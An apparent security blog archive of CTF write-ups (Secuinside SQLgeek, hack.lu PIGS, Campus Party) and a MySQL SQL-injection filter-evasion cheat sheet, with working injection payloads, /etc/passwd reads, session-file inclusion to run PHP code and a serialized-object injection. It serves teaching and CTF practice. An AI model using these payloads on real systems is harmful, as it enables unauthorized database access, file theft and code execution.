Secuinside CTF writeup SQLgeek

June 12, 2012

Last weekend we participated at secuinside ctf. Mainly there were 7 binary and 7 web challenges besides a few other. All web challenges were really fun and according to the stats SQLgeek was one of the hardest web challenges. For all other web challenges there are already writeups, so here is one for sqlgeek. The source code of the PHP application was given and the challenge required 3 tasks. PHP’s magic_quotes_gpc was enabled.

1. SQL Injection

First I looked at the given source code without playing with the complicated application. Line 409 and following was eye-catching because some SQL filtering was going on.

if($_GET[view])
{
	$_GET[view]=mb_convert_encoding($_GET[view],'utf-8','euc-kr');
	if(eregi("from|union|select|\(|\)| |\*|/|\t|into",$_GET[view])) 
		exit("Access Denied");
	if(strlen($_GET[view])>17) 
		exit("Access Denied");

	$q=mysql_fetch_array(mysql_query("select * from challenge5 
	where ip='$_GET[view]' and (str+dex+lnt+luc)='$_GET[stat]'"));
	...
	echo ("</td><td>STR : $q[str]<br>DEX : $q[dex]<br>INT : $q[lnt]<br>LUCK : $q[luc]</td></tr>");
}

Even more interesting was line 411, where the input GET parameter view was converted to a korean charset before embedding it into the SQL query in line 418. This leads to a SQL injection. Chris shiflett, kuza55 and others published a bypass of the escaping in MySQL several years ago abusing uncommon charsets.

Summarized, if you supply the character sequence %bf%27 it will be escaped (due to the PHP setting magic_quotes_gpc=on) to %bf%5c%27 (%bf\’) and by converting this to the charset euc-kr the valid multibyte %bf%5c in this charset will be converted to one korean symbol leaving the trailing single quote %27 unescaped.

Since the view parameter was filtered for SQL keywords in line 412 it was a good idea to use the other GET parameter stat, that was not filtered. Instead injecting a single quote to break the ip column value in the WHERE clause I extended the value by supplying a backslash with the same trick explained above:

/index.php?view=%bf%5C

Now internally the PHP application escaped the backslash (%5C) in %bf%5C to %bf%5C%5C and after the call of mb_convert_encoding it left a korean character and an unescaped backslash that got injected to the SQL query:

where ip='?\' and (str+dex+lnt+luc)='$_GET[stat]'"));

My injected backslash escaped the next quote and extended the ip value until the next quote. Hence I could start with my own SQL syntax in the stat parameter:

/index.php?view=%bf%5C
&stat=+union+select+1,user(),version(),4,5,6,7--+-

Interestingly the MySQL user was root. So it was very likely to have the FILE privilege to read files:

/index.php?view=%bf%5C
&stat=+union+select+load_file(0x2F6574632F706173737764),user(),version(),4,5,6,7--+-

Indeed /etc/passwd (here hex encoded to avoid quotes) could be read. At the end of this file a new hint was given:

/var/www/Webgameeeeeeeee/ReADDDDDDD______MEEEEEEEEEEEEE.php

2. Local File Inclusion

If I recall correctly the given source code of ReADDDDDDD______MEEEEEEEEEEEEE.php was like the following:

<?php
session_start();

if(eregi('[0-9]', $_SESSION['PHPSESSID']))
	exit;
if(eregi('/|\.', $_SESSION['PHPSESSID']))
	exit;

include("/var/php/tmp/sess_".$_SESSION['PHPSESSID']);
?>

Now first of all the same session is shared between the index.php and the ReADDDDDDD______MEEEEEEEEEEEEE.php. PHP sessions are stored in session files in a path that is configured with the session.save_path setting, likely the path that is prefixed in line 9. The name of the file consists of a prefix (normally sess_) and a value (normally md5) that is submitted by the cookie parameter PHPSESSID. In this file, the values of the global $_SESSION array are stored serialized. By altering the cookie one can create arbitrary session files (within a alphanumerical charset). However, this does not set the $_SESSION array key PHPSESSID to the same value.
Having a look again at the source code of the main application index.php I found the following lines right at the top:

<?
@session_start(); include "conn.php";
extract($_GET);
?>

The extract function that is called in line 3 simulates the dangerous register_globals PHP setting allowing to register global variables through input parameters. We can abuse this to set our own $_SESSION key PHPSESSID with the following GET request:

/index.php?_SESSION[PHPSESSID]=reiners
Cookie: PHPSESSID=reiners

Now the local file /var/php/tmp/sess_reiners is created (due to our cookie) and the following value (registered through extract) is stored:

PHPSESSID|s:7:"reiners";

If we visit ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie again we now have a local file inclusion of our session file /var/php/tmp/sess_reiners in line 9 bypassing the the filter for numerical characters in line 4. To execute arbitrary PHP code we simply add another $_SESSION key value that contains our PHP code which will be stored in our session file:

/index.php?_SESSION[PHPSESSID]=reiners
&_SESSION[CODE]=<?print_r(glob(chr(42)))?>
Cookie: PHPSESSID=reiners

This PHP code will list all files in the current directory. I encoded the * because magic_quotes_gpc would escape any quotes and mess up our PHP code stored in the session file. Switching back to ReADDDDDDD______MEEEEEEEEEEEEE.php with the same cookie our session file gets included and executes our PHP code which printed:

Array ( 
	[0] => ReADDDDDDD______MEEEEEEEEEEEEE.php 
	[1] => ReADDDDDDD______MEEEEEEEEEEEEE.phps 
	[2] => conn.php 
	[3] => images 
	[4] => index.php 
	[5] => index.phps 
	[6] => passwordddddddddddddddd.php 
	[7] => passwordddddddddddddddd.phps 
	[8] => readme 
)";

3. Race condition

Another PHP file was revealed and the source code was given in passwordddddddddddddddd.phps:

<?
system("echo '????' > readme/ppppaassssswordddd.txt");
?>
<h1><a href=passwordddddddddddddddd.phps>source</a></h1>
<?
system("rm -f readme/ppppaassssswordddd.txt");
?>

Finally we can see that the flag is in line 2 (in the source file replaced with ????). So first I simply tried to read the original passwordddddddddddddddd.php file that must contain the real flag. But this would have been to easy ;) The readme/ppppaassssswordddd.txt also did not already exist.

So I had to solve the race condition. Here I have just a bit of a second to fetch the ppppaassssswordddd.txt with the flag that is created in line 2 before it gets deleted in line 6 again. Lets check if we can use this tiny time window. I injected the following PHP code in my session file as described in stage 2:

<?php
while(!($a=file_get_contents(
chr(114).chr(101).chr(97).chr(100).chr(109).chr(101).chr(47).chr(112).chr(112).chr(112).chr(112).chr(97).chr(97).chr(115).chr(115).chr(115).chr(115).chr(115).chr(119).chr(111).chr(114).chr(100).chr(100).chr(100).chr(100).chr(46).chr(116).chr(120).chr(116))
)){}print_r($a)
?>

It simply loops endless until the variable $a is successfully filled with the file content of the readme/ppppaassssswordddd.txt file (file name encoded again because magic_quotes_gpc avoided quotes to form strings). Then I visited the script ReADDDDDDD______MEEEEEEEEEEEEE.php with my cookie again that now executed my PHP code and was looping endless. Then I visited the passwordddddddddddddddd.php script that would create the wanted readme/ppppaassssswordddd.txt file and immediatly delete it. To my surprise only one visit was needed so that the hanging ReADDDDDDD______MEEEEEEEEEEEEE.php stopped and finally printed the flag:

bef6d0c8cd65319749d1ecbcf7a349c0

A very nice challenge with several steps, thank you to the author!
If you have solved the binaries I would love to see some writeups about them :)

update:

BECHED noticed in the comments that you could also do a HTTP HEAD request to the passwordddddddddddddddd.php script which will parse the PHP script only until the first output, thus not deleting the flag file. You can find more details about this behaviour here.


Blind SQLi techniques

April 6, 2011

In this quick post I want to collect some cool blind SQLi techniques I recently read about. I will keep this list updated as soon as I find new stuff. For me it is nice to have a list of these techniques online and a lot of visitors are interested in SQLi as well, so I thought I share it ;) If you don’t know what blind SQLi is all about I recommend starting with this article about basic statistical approaches for efficient data extraction.

You can extract data more efficiently and thus safe requests and time by using the following techniques:

update 24.7.11: I just found out that the neat XML parsing function extractvalue includes invalid XML into error messages and can be used as a side channel for data extraction or conditional errors:

SELECT extractvalue(1,concat(0x2e,(SELECT @@version)));
XPATH syntax error: '5.1.36-community-log'

or
SELECT updatexml(1,concat(0x2e,(SELECT @@version)),1);
XPATH syntax error: '5.1.36-community-log'

(also published here)

If you know any other clever techniques please leave a comment.


SQLi filter evasion cheat sheet (MySQL)

December 4, 2010

This week I presented my experiences in SQLi filter evasion techniques that I have gained during 3 years of PHPIDS filter evasion at the CONFidence 2.0 conference. You can find the slides here. For a quicker reference you can use the following cheatsheet. More detailed explaination can be found in the slides or in the talk (video should come online in a few weeks).

Basic filter

Comments
‘ or 1=1#
‘ or 1=1– -
‘ or 1=1/* (MySQL < 5.1)
' or 1=1;%00
' or 1=1 union select 1,2 as `
' or#newline
1='1
' or– -newline
1='1
' /*!50000or*/1='1
' /*!or*/1='1

Prefixes
+ – ~ !
‘ or –+2=- -!!!’2

Operators
^, =, !=, %, /, *, &, &&, |, ||, , >>, <=, <=, ,, XOR, DIV, LIKE, SOUNDS LIKE, RLIKE, REGEXP, LEAST, GREATEST, CAST, CONVERT, IS, IN, NOT, MATCH, AND, OR, BINARY, BETWEEN, ISNULL

Whitespaces
%20 %09 %0a %0b %0c %0d %a0 /**/
‘or+(1)sounds/**/like“1“–%a0-
‘union(select(1),tabe_name,(3)from`information_schema`.`tables`)#

Strings with quotes
SELECT ‘a’
SELECT “a”
SELECT n’a’
SELECT b’1100001′
SELECT _binary’1100001′
SELECT x’61’

Strings without quotes
‘abc’ = 0x616263

Aliases
select pass as alias from users
select pass aliasalias from users
select pass`alias alias`from users

Typecasting
‘ or true = ‘1 # or 1=1
‘ or round(pi(),1)+true+true = version() # or 3.1+1+1 = 5.1
‘ or ‘1 # or true

Compare operator typecasting
select * from users where ‘a’=’b’=’c’
select * from users where (‘a’=’b’)=’c’
select * from users where (false)=’c’
select * from users where (0)=’c’
select * from users where (0)=0
select * from users where true
select * from users

Authentication bypass ‘=’
select * from users where name = ”=”
select * from users where false = ”
select * from users where 0 = 0
select * from users where true
select * from users

Authentication bypass ‘-‘
select * from users where name = ”-”
select * from users where name = 0-0
select * from users where 0 = 0
select * from users where true
select * from users

Function filter

General function filtering
ascii (97)
load_file/*foo*/(0x616263)

Strings with functions
‘abc’ = unhex(616263)
‘abc’ = char(97,98,99)
hex(‘a’) = 61
ascii(‘a’) = 97
ord(‘a’) = 97
‘ABC’ = concat(conv(10,10,36),conv(11,10,36),conv(12,10,36))

Strings extracted from gadgets
collation(\N) // binary
collation(user()) // utf8_general_ci
@@time_format // %H:%i:%s
@@binlog_format // MIXED
@@version_comment // MySQL Community Server (GPL)
dayname(from_days(401)) // Monday
dayname(from_days(403)) // Wednesday
monthname(from_days(690)) // November
monthname(from_unixtime(1)) // January
collation(convert((1)using/**/koi8r)) // koi8r_general_ci
(select(collation_name)from(information_schema.collations)where(id)=2) // latin2_czech_cs

Special characters extracted from gadgets
aes_encrypt(1,12) // 4çh±{?”^c×HéÉEa
des_encrypt(1,2) // ‚GÒ/ïÖk
@@ft_boolean_syntax // + -><()~*:""&|
@@date_format // %Y-%m-%d
@@innodb_log_group_home_dir // .\

Integer representations
false: 0
true: 1
true+true: 2
floor(pi()): 3
ceil(pi()): 4
floor(version()): 5
ceil(version()): 6
ceil(pi()+pi()): 7
floor(version()+pi()): 8
floor(pi()*pi()): 9
ceil(pi()*pi()): 10
concat(true,true): 11
ceil(pi()*pi())+true: 11
ceil(pi()+pi()+version()): 12
floor(pi()*pi()+pi()): 13
ceil(pi()*pi()+pi()): 14
ceil(pi()*pi()+version()): 15
floor(pi()*version()): 16
ceil(pi()*version()): 17
ceil(pi()*version())+true: 18
floor((pi()+pi())*pi()): 19
ceil((pi()+pi())*pi()): 20
ceil(ceil(pi())*version()): 21
concat(true+true,true): 21
ceil(pi()*ceil(pi()+pi())): 22
ceil((pi()+ceil(pi()))*pi()): 23
ceil(pi())*ceil(version()): 24
floor(pi()*(version()+pi())): 25
floor(version()*version()): 26
ceil(version()*version()): 27
ceil(pi()*pi()*pi()-pi()): 28
floor(pi()*pi()*floor(pi())): 29
ceil(pi()*pi()*floor(pi())): 30
concat(floor(pi()),false): 30
floor(pi()*pi()*pi()): 31
ceil(pi()*pi()*pi()): 32
ceil(pi()*pi()*pi())+true: 33
ceil(pow(pi(),pi())-pi()): 34
ceil(pi()*pi()*pi()+pi()): 35
floor(pow(pi(),pi())): 36

@@new: 0
@@log_bin: 1

!pi(): 0
!!pi(): 1
true-~true: 3
log(-cos(pi())): 0
-cos(pi()): 1
coercibility(user()): 3
coercibility(now()): 4

minute(now())
hour(now())
day(now())
week(now())
month(now())
year(now())
quarter(now())
year(@@timestamp)
crc32(true)

Extract substrings
substr(‘abc’,1,1) = ‘a’
substr(‘abc’ from 1 for 1) = ‘a’
substring(‘abc’,1,1) = ‘a’
substring(‘abc’ from 1 for 1) = ‘a’
mid(‘abc’,1,1) = ‘a’
mid(‘abc’ from 1 for 1) = ‘a’
lpad(‘abc’,1,space(1)) = ‘a’
rpad(‘abc’,1,space(1)) = ‘a’
left(‘abc’,1) = ‘a’
reverse(right(reverse(‘abc’),1)) = ‘a’
insert(insert(‘abc’,1,0,space(0)),2,222,space(0)) = ‘a’
space(0) = trim(version()from(version()))

Search substrings
locate(‘a’,’abc’)
position(‘a’,’abc’)
position(‘a’ IN ‘abc’)
instr(‘abc’,’a’)
substring_index(‘ab’,’b’,1)

Cut substrings
length(trim(leading ‘a’ FROM ‘abc’))
length(replace(‘abc’, ‘a’, ”))

Compare strings
strcmp(‘a’,’a’)
mod(‘a’,’a’)
find_in_set(‘a’,’a’)
field(‘a’,’a’)
count(concat(‘a’,’a’))

String length
length()
bit_length()
char_length()
octet_length()
bit_count()

String case
ucase
lcase
lower
upper
password(‘a’) != password(‘A’)
old_password(‘a’) != old_password(‘A’)
md5(‘a’) != md5(‘A’)
sha(‘a’) != sha(‘A’)
aes_encrypt(‘a’) != aes_encrypt(‘A’)
des_encrypt(‘a’) != des_encrypt(‘A’)

Keyword filter

Connected keyword filtering
(0)union(select(table_name),column_name,…
0/**/union/*!50000select*/table_name`foo`/**/…
0%a0union%a0select%09group_concat(table_name)….
0’union all select all`table_name`foo from`information_schema`. `tables`

OR, AND
‘||1=’1
‘&&1=’1
‘=’
‘-‘

OR, AND, UNION
‘ and (select pass from users limit 1)=’secret

OR, AND, UNION, LIMIT
‘ and (select pass from users where id =1)=’a

OR, AND, UNION, LIMIT, WHERE
‘ and (select pass from users group by id having id = 1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP
‘ and length((select pass from users having substr(pass,1,1)=’a’))

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING
‘ and (select substr(group_concat(pass),1,1) from users)=’a
‘ and substr((select max(pass) from users),1,1)=’a
‘ and substr((select max(replace(pass,’lastpw’,”)) from users),1,1)=’a

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT
‘ and substr(load_file(‘file’),locate(‘DocumentRoot’,(load_file(‘file’)))+length(‘DocumentRoot’),10)=’a
‘=” into outfile ‘/var/www/dump.txt

OR, AND, UNION, LIMIT, WHERE, GROUP, HAVING, SELECT, FILE
‘ procedure analyse()#
‘-if(name=’Admin’,1,0)#
‘-if(if(name=’Admin’,1,0),if(substr(pass,1,1)=’a’,1,0),0)#

Control flow
case ‘a’ when ‘a’ then 1 [else 0] end
case when ‘a’=’a’ then 1 [else 0] end
if(‘a’=’a’,1,0)
ifnull(nullif(‘a’,’a’),1)

If you have any other useful tricks I forgot to list here please leave a comment.


hack.lu CTF challenge 21 writeup – PIGS

October 30, 2010

This week we organized the Capture-The-Flag contest for the hack.lu conference in Luxembourg. It was open to local and remote participating teams and played by nearly 60 teams. My task was to write the scoreboard and some web challenges. The big topic was “pirates”. Everything is mirrored at http://hacklu.fluxfingers.net/ where you can find lots of other cool challenges and writeups.

In challenge 21 the players were given a website of a criminal pirate organization stealing gold. The task was to hack the website and to find out, how much gold the leader ‘Jack’ has stolen so far.

In the “Support us” area one can upload new language files for the website. However an upload of any random file says that the file was not signed and therefore ignored. However there is a hint in the text:

Our website supports 10 international languages (automatically detected) and we are always looking for help to support new languages. If you are interested, please contact us for more information and to receive the key for signing your language file.

Also 10 different flags on top of the site menu show which languages are supported. How are those languages detected automatically? By the Accept-Language-header your browser sends automatically. You can verify this by sending different header values (I prefer using Live HTTP Headers). In example Accept-Language: es will show the website with spanish text.

The quote shown above also reveals that the website uses language files. Also sending a unsupported language in the header leads to the following error:

Accept-Language: foobar
Language (foobar) not available. Switching to default (en).

We know that the website fetches the text from files. Lets try a path traversal:

Accept-Language: index.php
Language (index.php) not available. Switching to default (en).

Accept-Language: ../index.php
Could not import language data from ‘<?php ..code.. ?>’

Sweet, the error reveals the source code. Now we can download all files that are included and analyse the source code.

The source code reveals, that there is a hidden ?id=17 displaying the admin login interface. Behind this interface the current gold status of the logged in captain is shown. The task is to find out captain Jack’s gold status so we need to login as ‘Jack’. Lets see how we can accomplish that.

The file worker/funcs.php reveals how the language files work. Basically all language data is stored serialized in files. Those language files are stored in messages/. Each language file also has to have the serialized variable $secretkey set to “p1r4t3s.k1lly0u” to pass the check if the file is signed. Then, all data is unserialized and assigned to the global array $messages which will be used to display the text throughout the website.

Now we know the key to sign we can upload our own files. To create a valid serialized file we can simply use the following php code:

<?php
$messages = array("secretkey" => "p1r4t3s.k1lly0u");
echo serialize($messages);
?>

which will give you:

a:1:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";} 

You can also write this down manually (small introduction to serialize syntax):

a:1: create array with 1 element
{: array start
s:9:”secretkey”: array key: string with 9 characters
s:15:”p1r4t3s.k1lly0u”: array value: string with 15 characters
}: array end

However we can not directly browse to messages/ because we get a 403 forbidden for this path. Uploading a signed php file with php code (php shell) within the serialized strings will not work here.

Investigating the object-oriented code in worker/mysql.php shows how the database queries and connection is handled. For each request to the PIGS website a new class object sql_db is created. This object is initialized with the reserved function __wakeup() and later destroyed with the reserved function __destruct(). One can see that when the function __destruct() is triggered, the function sql_close() is called. On the first look this looks unsuspicious. However when looking at the function sql_close() we see that a log event is initiated.

function __destruct()
{
	$this->sql_close();
}

function sql_close()
{
	[...]
	$this->createLog();
	[...]
}

function createLog()
{
	$ip = $this->escape($_SERVER['REMOTE_ADDR']);
	$lang = $this->escape($_SERVER['HTTP_ACCEPT_LANGUAGE']);
	$agent = $this->escape($_SERVER['HTTP_USER_AGENT']);
	$log_table = $this->escape($this->log_table);
	$query = "INSERT INTO " . $log_table . " VALUES ('', '$ip', '$lang', '$agent')";
	$this->sql_query($query);
}

So every request will be logged into the table that the current sql_db object has been initialized with (logs) during the constructor call sql_db(). The inserted values are all escaped correctly, so no SQL injection here. Or maybe there is?

The function __destruct() of every instanced object is called once the php interpreter has finished parsing a requested php file. In PIGS for every request an object of sql_db is created and after the php file has been parsed the __destruct() function is called automatically. Then, the function sql_close() is called which calls the function createLog().

When uploading a language file that contains a serialized sql_db object this object will be awaken and lives until the rest of the php code is parsed. When the createLog() function is called for this object within the __destruct() call, the locale variable log_table is used in the sql query that creates the logentry. Because this locale variable can be altered in the serialized string uploaded with the file, SQL injection is possible.

To trigger the vulnerability we create a signed language file with the key and with a sql_db object that has an altered log_table. Since we need to login as user ‘Jack’ we simply abuse the INSERT query of the createLog() function to insert another user ‘Jack’ with password ‘bla’ to the users table:

INSERT INTO $log_table VALUES ('', '$ip', '$lang', '$agent')

$log_table=users VALUES ('', 'Jack', 'bla', '0')-- -

the query will become:

INSERT INTO users VALUES ('', 'Jack', 'bla', '0')-- -VALUES ('', '$ip', '$lang', '$agent')

which will insert the specified values into the table users. The table name is escaped before used in the query, however a table name is never surrounded by quotes so that an injection is still possible. We simply avoid quotes with the mysql hex representation of strings. To build the serialized string we can instantiate a modified sql_db object ourselves and serialize it. The mysql connection credentials can be read from the leaked source code files.

<?php

class sql_db
{
	var $query_result;
	var $row = array();
	var $rowset = array();
	var $num_queries = 0;

	function sql_db()
	{
		$this->persistency = false;
		$this->user = 'pigs';
		$this->password = 'pigs';
		$this->server = 'localhost';
		$this->dbname = 'pigs';
		$this->log_table = "users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";
	}
} 

$db = new sql_db();

$payload = array (
  'secretkey' => 'p1r4t3s.k1lly0u',
  $db
);

echo serialize($payload);
?>

Now we can simply save the serialized payload into a file and upload it.

a:2:{s:9:"secretkey";s:15:"p1r4t3s.k1lly0u";i:0;O:6:"sql_db":10:{s:12:"query_result";N;s:3:"row";a:0:{}s:6:"rowset";a:0:{}s:11:"num_queries";i:0;s:11:"persistency";b:0;s:4:"user";s:4:"pigs";s:8:"password";s:4:"pigs";s:6:"server";s:9:"localhost";s:6:"dbname";s:4:"pigs";s:9:"log_table";s:45:"users VALUES (0, 0x4A61636B, 0x626C61, 0)-- -";}}

The language file will successfully pass the key-check and the language data will be unserialized. Then the sql_db object will be created with the modified log_table variable. Finally the __destruct() function is called automatically and the log_table will be used during the createLog() function which triggers the SQL injection and the INSERT of a new user ‘Jack’. Now we can login into the admin interface with our user ‘Jack’ and the password ‘bla’. Then the function printGold() is called for the username that has been used during the successful login.

function printGold()
{
	global $db;
	
	$name = $db->escape($_POST['name']);
	$result = $db->sql_query("SELECT gold FROM users WHERE name='$name'");
	if($db->sql_numrows($result) > 0)
	{
		$row = $db->sql_fetchrow($result);
		echo htmlentities($name).'\'s gold: '.htmlentities($row['gold']);
	}	
}

The first matching account with the user ‘Jack’ will be returned instead of our own and we finally retrieve the gold and the solution to this challenge: 398720351149

This challenge was awarded with 500 points because it was quite time consuming. However if you have followed Stefan Esser’s piwik exploit it should have been straight forward once you could download the source code. Funnily I have seen one team exploiting the SQL injection blindly ;)

Update: there is another writeup for this challenge in french available here


Blind SQL injection with load_file()

October 1, 2010

Currently I am working a lot on RIPS but here is a small blogpost about a technique I thought about lately and wanted to share.
While participating at the smpCTF I came across a blind SQL injection in level 2. After solving the challenge I checked for the FILE privilege:

/level2/?id=1/**/and/**/(SELECT/**/is_grantable/**/FROM/**/information_schema.user_privileges/**/WHERE/**/privilege_type=0x66696C65/**/AND/**/grantee/**/like/**/0x25726F6F7425/**/limit/**/1)=0x59

Luckily the FILE privilege was granted which was not intended by the organizer. Since I had not solved level 1 at that time I thought it would be easier to read the PHP files to solve level 1. First I checked if reading files with load_file() worked at all and tried to read /etc/passwd:

/level2/?id=1/**/and/**/!isnull(load_file(2F6574632F706173737764))

Since the webpage with id=1 was displayed the and condition must have been evaluated to true which means that the file could be read (load_file() returns null if the file can not be read). Before reading the PHP files I needed to find the webserver configuration file to find out where the DocumentRoot was configured. I used the same query as above to check for the existence of the following apache config files:

$paths = array( 
"/etc/passwd", 
"/etc/init.d/apache/httpd.conf", 
"/etc/init.d/apache2/httpd.conf", 
"/etc/httpd/httpd.conf", 
"/etc/httpd/conf/httpd.conf", 
"/etc/apache/apache.conf", 
"/etc/apache/httpd.conf", 
"/etc/apache2/apache2.conf", 
"/etc/apache2/httpd.conf", 
"/usr/local/apache2/conf/httpd.conf", 
"/usr/local/apache/conf/httpd.conf", 
"/opt/apache/conf/httpd.conf", 
"/home/apache/httpd.conf", 
"/home/apache/conf/httpd.conf", 
"/etc/apache2/sites-available/default", 
"/etc/apache2/vhosts.d/default_vhost.include");

update: There is an official list for Apache. Very useful.

Webpage with id=1 was displayed for the file /etc/httpd/httpd.conf thus revealing that this file existed and could be read.

Now it was time for the tricky part: I had only a true/false blind SQL injection which means that I could only bruteforce the configuration file char by char. Since the length of the file was more than 10000 chars this would have taken way too long.
I decided to give little shots at the configuration file trying to hit the DocumentRoot setting or a comment nearby that identifies my current position. Each shot bruteforced 10 alphanumerical characters:

/level2/?id=1/**/and/**/mid(lower(load_file(0x2F6574632F68747470642F68747470642E636F6E66)),$k,1)=0x$char

I compared the few bruteforced characters to a known apache configuration file trying to map the characters to a common configuration comment. This worked for most of the character sequences but unfortunately almost every configuration file is a bit different so that it was not possible to calculate the correct offset of the DocumentRoot setting once another setting had been identified. I bruteforced only alphanumerical strings to save time. For example the bruteforced string “dulesthoselisted” could be mapped to the comment “modules (those listed by `httpd -l’)” and so on.
After the 10th shot I luckily hit the DocumentRoot setting comment at offset 7467 and after this it was possible to calculate the correct offset for the beginning of the DocumentRoot setting and I could retrieve “srvhttpdhtdocs” (DocumentRoot: /srv/httpd/htdocs/).

While that worked fine during the hectics of the CTF and was better than a bruteforce on the whole configuration file, I thought about it again yesterday and thought that this technique was plain stupid ;).

If you know what you are looking for in a file (and mostly you do) you can easily find the correct offset with LOCATE(substr,str[,pos]) which will return the offset of a given substring found in a string. The following query instantly returns the next 10 characters after the DocumentRoot setting:

substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)

and can then be bruteforced easily:

mid(lower(substr(load_file('file'),locate('DocumentRoot',(load_file('file')))+length('DocumentRoot'),10)),$k,1)=0x$char

No magic here, but a helpful combination of mysql build in functions when reading files blindly.


Exploiting hard filtered SQL Injections 3

May 26, 2010

This is a follow-up post of the first edition of Exploiting hard filtered SQL Injections and at the same time a writeup for Campus Party CTF web4. In this post we will have a closer look at group_concat() again.

Last month I was invited to Madrid to participate at the Campus Party CTF organized by SecurityByDefault. Of course I was mainly interested in the web application challenges, but there was also reverse engineering, cryptography and network challenges. For each of the categories there was 4 difficulty levels. The hardest webapp challenge was a blind SQLi with some filtering. Techniques described in my last blogposts did not helped me so I had to look for new techniques and I promised to do a little writeup on this.
The challenge was a news site with a obvious SQLi in the news id GET parameter. For different id’s specified by the user one could see different news articles while a SQL error resulted in no article being displayed. The filter was like the “basic keyword filter” I already introduced here with additional filtering for SQL comments:

if(preg_match('/\s/', $id))
	exit('attack'); // no whitespaces
if(preg_match('/[\'"]/', $id))
	exit('attack'); // no quotes
if(preg_match('/[\/\\\\]/', $id))
	exit('attack'); // no slashes
if(preg_match('/(and|null|where|limit)/i', $id))
	exit('attack'); // no sqli keywords
if(preg_match('/(--|#|\/\*)/', $id))
	exit('attack'); // no sqli comments

The first attempt was to create a working UNION SELECT with %a0 as a whitespace alternative which is not covered by the whitespace regex but works on MySQL as a whitespace.

?id=1%a0union%a0select%a01,2,group_concat(table_name),4,5,6%a0from%a0information_schema.tables;%00

However no UNION SELECT worked, I had no FILE PRIV and guessing the table and column names was too difficult in the short time because they were in spanish and with different upper and lower case letters. So I decided to go the old way with parenthesis and a CASE WHEN:

?id=(case(substr((select(group_concat(table_name))from(information_schema.tables)),1,1))when(0x61)then(1)else(2)end)

The news article with id=1 is shown when the first letter of all concated table names is ‘a’, otherwise news article with id=2 is shown.

As stated in my last post the output of group_concat() is limited to 1024 characters by default. This is sufficient to retrieve all table names because all default table names concated have a small length and there is enough space left for custom tables.
However the length of all standard columns is a couple of thousands characters long and therefore reading all column names with group_concat() is not easily possible because it will only return the first 1024 characters of concated standard columns of the database mysql and information_schema *.
Usually, the goal is to SELECT column names only from a specific table to make the result length smaller than 1024 characters. In case WHERE and LIMIT is filtered I presented a “WHERE alternative” in the first part:

?id=(0)union(select(table_name),column_name,(0)from(information_schema.columns)having((table_name)like(0x7573657273)))#

Here I co-SELECTed the column table_name to use it in the HAVING clause (otherwise the error Unknown column ‘table_name’ in ‘having clause’ would occur). In a subSELECT you cannot select from more than one column and this is where I struggled during the challenge. The easiest way would have been to use GROUP BY with %a0 as delimiter:

?id=(case(substr((select(group_concat(column_name))from(information_schema.columns)group%a0by(table_name)having(table_name)=0x41646D696E6973747261646F726553),1,1))when(0x61)then(1)else(2)end)

But what I tried to do is to find a way around the limiting 1024 character of group_concat(). Lets assume the keywords “group” and “having” are filtered also ;) First I checked the total amount of all columns:

?id=if((select(count(*))from(information_schema.columns))=187,1,2)

Compared to newer MySQL versions the amount of 187 was relatively small (my local MySQL 5.1.36 has 507 columns by default, it was MySQL 5.0).
Now the idea was to only concatenate the first few characters of each column_name to fit all beginnings of all column_names into 1024 characters. Then it would be possible to read the first characters of the last columns (this is where the columns of user-created tables appear). After this the next block of characters can be extracted for each column_name and so on until the whole name is reconstructed.
So the next step was to calculate the maximum amount of characters I could read from each column_name without exceeding the maximum length of 1024:

5 characters * 187 column_names = 935 characters

Well thats not correct yet, because we have to add the commas group_concat() adds between each column. That is additional 186 characters which exceeds the maximum length of 1024. So we take only 4 characters per column_name:

4 characters * 187 column_name + 186 commas = 934 characters

The injection looked like this:

?id=(case(substr((select(group_concat(substr(column_name,1,4)))from(information_schema.columns)),1,1))when(0x61)then(1)else(2)end)

To avoid finding the right offset where the user tables starts I began to extract column name by column name from the end, until I identified columns of the default mysql database (a local mysql setup helps a lot).

I think the following graphic helps to get a better idea of what I did.
The first SELECT shows a usual group_concat() on all column names (red blocks with different length) that misses the columns from user-created tables that appear at the end of the block list.
The second query concatenates only the first 4 characters (blue) of every name to make the resultset fit into the 1024 character limit. In the same way the next block of 4 characters can be SELECTed (third query).

Each string of concatenated substrings can be read char by char to reconstruct the column names (last query).

It gets a bit tricky when the offsets change while reading the second or third block of 4 characters and you need to keep attention to not mix up the substrings while putting them back together for every column name. A little PHP script automated the process and saved some time. Although this approach was way to complicated to solve this challenge, I learned a lot ;)
In the end I ranked 2nd in the competition. I would like to thank again SecurityByDefault for the fun and challenging contest, especially Miguel for the SQLi challenges and give kudos to knx (1st), aw3a (3rd) and LarsH (the only one solving the tough reversing challenges).

By the way the regex filters presented in the last posts are not only for fun and challenges: I have seen widely used community software using (bypassable) filters like these.

* Note that the exact concated length and amount of columns and tables depends on your MySQL version. Generally the higher your version is, the more column names are available and the longer is the concated string. You can use the following queries to check it out yourself:

select sum(length(table_name)) from information_schema.tables where table_schema = 'information_schema' or table_schema='mysql'
select sum(length(column_name)) from information_schema.columns where table_schema = 'information_schema' or table_schema='mysql'

More:
Part 1, Part2, SQLi filter evasion cheatsheet


Exploiting hard filtered SQL Injections 2 (conditional errors)

May 7, 2010

This is a addition to my last post about Exploiting hard filtered SQL Injections. I recommend reading it to understand some basic filter evasion techniques. In this post we will have a look at the same scenario but this time we will see how it can be solved with conditional errors in a totally blind SQLi scenario.
For this we consider the following intentionally vulnerable source code:

<?php
// DB connection

// $id = (int)$_GET['id'];
$id = $_GET['id'];

$result = mysql_query("SELECT id,name,pass FROM users WHERE id = $id") or die("Error");

if($data = mysql_fetch_array($result))
	$_SESSION['name'] = $data['name'];
?>

(proper securing is shown on line 4 to avoid the same confusion as last time ;))

The main difference to the previous source code is that the user/attacker will not see any output of the SQL query itself because the result is only used for internals. However, the application has a notable difference when an error within the SQL query occurs. In this case it simply shows “Error” but this behavior could also be a notable MySQL error message when error_reporting=On or any other custom error or default page that indicates a difference between a good or bad SQL query. Or think about INSERT queries where you mostly don’t see any output of your injection rather than a “successful” or not.

Known conditional errors

Now how do we exploit this? “Timing!” you might say, but thats not the topic for today so I’ll filter that out for you ;)

if(preg_match('/(benchmark|sleep)/i', $id)) 
	exit('attack'); // no timing

